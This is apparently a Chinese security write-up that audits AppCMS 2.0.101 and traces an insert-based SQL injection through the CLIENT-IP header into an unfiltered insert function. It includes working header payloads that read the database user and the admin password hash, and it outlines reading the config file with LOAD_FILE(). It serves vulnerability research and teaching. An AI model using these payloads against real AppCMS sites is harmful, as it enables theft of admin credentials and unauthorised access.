一例SQL注入的代码审计,insert注入类型,Client-ip处触发漏洞;

环境搭建

Apache + php 5.2.17 + mysql 5.5.53

官网下载最新版:AppCMS 2.0.101

AppCMS?

一款 APP 推广类型的网站,提供下载,评论等功能;

Demo

这里在id为10的app页面的评论处抓包:

appcms_1.png

添加CLIENT-IP字段,并将注入的payload添加在此;

CLIENT-IP:10.10.10.1'),('10','0','0',(select USER()),'HAHA','1510908798',1)#

这里将显示在content字段上,也可以显示在name上,评论需要验证码;

appcms_2.png

注入完整的SQL语句为:

insert into appcms_comment(id,type,parent_id,content,uname,data_add.ip) values ('10','0','0','1','Go0s','1510908798','10.10.10.1'),('10','0','0',(select USER()),'HAHA','1510908798',1)#

漏洞触发过程

comment.php —> $res = $dbm —> single_insert(TB_PREFIX . ‘comment’, $fields); —> $fields[‘ip’] = helper :: getip();

helper.class.php —> public static function getip() {} —> $onlineip = getenv(‘HTTP_CLIENT_IP’); —> 输入可控

database.class.php —> public function single_insert($table_name, $fields){} —> SQL语句没过滤,造成注入

comment.php 分析

29-30 行
$page['get'] = $_GET; //get参数的 m 和 ajax 参数是默认占用的,一个用来执行动作函数,一个用来判断是否启用模板还是直接输出JSON格式数据
$page['post'] = $_POST;

57-86 行
function m__add() {
    global $page, $dbm, $c;

    $fields = array();
    foreach($page['post'] as $key => $val) {
        $page['post'][$key] = htmlspecialchars(helper :: escape($val));
    } 
    if (empty($page['post']['comment'])) {
        die('{"code":"1","msg":"发表内容不能为空"}');
    } 
    $code = md5(strtoupper($page['post']['code']));
    if ($code != $_SESSION['feedback']) {
        die('{"code":"140","msg":"验证码错误"}');
    }
    $fields['id'] = $page['post']['id'];if(!is_numeric($fields['id'])) die();
    $fields['type'] = $page['post']['type'];if(!is_numeric($fields['type'])) die();
    $fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();
	$content = $c -> filter_words($page['post']['comment']);
    $fields['content'] = helper :: utf8_substr($content, 0, 300);
	$user = $c -> filter_words($page['post']['user'], 'user');
    $fields['uname'] = helper :: utf8_substr($user, 0, 10);
    $fields['date_add'] = time();
    $fields['ip'] = helper :: getip();
    if ($fields['parent_id'] != 0) {
        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
    } 
    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);
    if (empty($res['error']) && empty($ress['error'])) die('{"code":"0","msg":"恭喜发表成功"}');
    die('{"code":"1","msg":"发表失败:' . $ress['error'] . '"}');
} 

(1)这里将外部POST&GET的值赋给$fields数组,寻找数据可控点;

id、type、parent_id均使用is_numeric()进行了类型判断;

content、uname并没有限制,可作为注入返回内容的显示点;

date_add使用time()函数直接赋值;

ip使用了helper类的getip()方法;

(2)query_update()、single_insert()可作为注入触发点;

query_update()的{$fields[‘parent_id’]}如(1)所述,类型判断,直接gg;

single_insert()则直接将$fields全部作为参数,那么即可调用$fields['ip'],即触发getip(),跟进这个方法;

helper.class.php 分析

47-57 行
public static function getip() {
    $onlineip = '';
    if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }
    return $onlineip;
}

存在HTTP_CLIENT_IP,即注入数据可控,进行ip伪造来进行输入,且并没有进行过滤;

那么触发点呢?

database.php 分析

102-120 行
public function single_insert($table_name, $fields) {
        if (!is_array($fields) || count($fields) == 0) return array('sql' => '', 'error' => '插入失败,插入字段为空', 'sql_time' => 0, 'autoid' => 0);

        $sql_field = "";
        $sql_value = ""; 
        // 遍历字段和值
        foreach($fields as $key => $value) {
            $sql_field .= ",$key";
            $sql_value .= ",'$value'";
        } 

        $sql_field = substr($sql_field, 1);
        $sql_value = substr($sql_value, 1);

        $sql = "insert into $table_name ($sql_field) values ($sql_value)"; //组合SQL
        $result = $this -> query_insert($sql);

        return $result;
    } 

没有任何过滤,拿来就使用foreach来遍历数组来组成最终的SQL语句;

$table_name参数是由TB_PREFIX.'comment'直接来控制,config.conn.php中直接定义define('TB_PREFIX', 'appcms_');,也并不存在影响;

query_insert()也并没有任何过滤,一个insert类型的SQL注入出现了;

后台管理密码

管理用户名uname和密码upass在appcms_admin_list表中;

CLIENT-IP:10.10.10.1'),('10','0','0',(select upass from appcms_admin_list where uid= '1'),'HAHA','1510908798',1)#

appcms_3.png

后台?

这款cms默认安装后,需强制修改后台文件夹名,且并不记录在配置文件中,gg;

并且后台登录需要安全吗,不过可以利用这个注入进行LOAD_FILE()来读取,位于core/config.php19行;

这里需要注意截断,因为可用于显示$fields['content'] = helper :: utf8_substr($content, 0, 300);进行了截断;

绝对路径可以直接进行报错显示;

appcms_4.png

Thinking 师傅使用了一套组合拳,xss + csrf,来打后台并创建管理权限用户;

很佩服;